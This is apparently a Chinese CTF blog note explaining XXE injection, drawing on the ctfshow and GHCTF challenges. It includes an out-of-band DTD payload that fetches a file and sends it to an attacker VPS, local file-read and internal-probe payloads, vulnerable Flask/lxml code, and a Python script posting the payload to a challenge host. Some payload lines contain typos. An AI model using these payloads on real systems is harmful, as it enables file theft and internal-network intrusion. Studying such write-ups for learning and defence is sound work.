本文最后更新于44 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com
XXE漏洞就是XML外部实体注入,是一种web安全漏洞。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML 是可扩展标记语言(Extensible Markup Language)的缩写,描述的是数据的结构,为程序员提供了一种标准的、被广泛接受的格式,以便在不同的系统中传输数据。
以下是攻击原理图(以下全为本人理解,如有错误欢迎指导,不喜勿喷)
1、首先攻击者对靶机进行访问
2、攻击者在VPS上建立两个文件,test.xml和test.dtd(PS:XXE漏洞的触发点是可以上传的xml文件的位置,而API所传的参数正好是xml文件,形成漏洞)
test.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send; ]>
<reset><login>bee</login><secret>Any bugs?</secret></reset>
test.dtd
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>">
%p2;
DTD文件的作用是xml的合法构建模块,也就是说两者是绑在一起的 3、攻击者将VPS上的两个文件通过POST的形式传到靶机上,这时xml里的而已文件即可造成任意文件读取 4、把机箱攻击者返回目标文件内容 .
PS:以上理解思路均以ctfshowAK赛web4观心为依据
XXE常规补充
XXE文件读取
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<x>&xxe;</x>
XXE内网探针或者攻击内网应用(触发漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY wuhu SYSTEM "http://192.168.188.194:80/index.txt">
]>
<x>&wuhu;</x>
在做到GHCTF的新生赛的时候,碰到了一些坑,先说说源代码
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
可以看到这里头他用到了xml外部实体解析,也就是这一段代码parser = etree.XMLParser(load_dtd=True, resolve_entities=True),通常有这一段代码的话一般就意味着这有着XXE漏洞,那么就可以执行XXE注入,但是我发现一个问题就是再这道题目中,不能直接利用burp去POST,而是得要利用脚本,留个心眼,记录一下
import requests
url = "http://node2.anna.nssctf.cn:28506/ghctf"
payload = """<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>"""
# 发送POST请求
response = requests.post(url, data={'xml': payload})
print(response.text)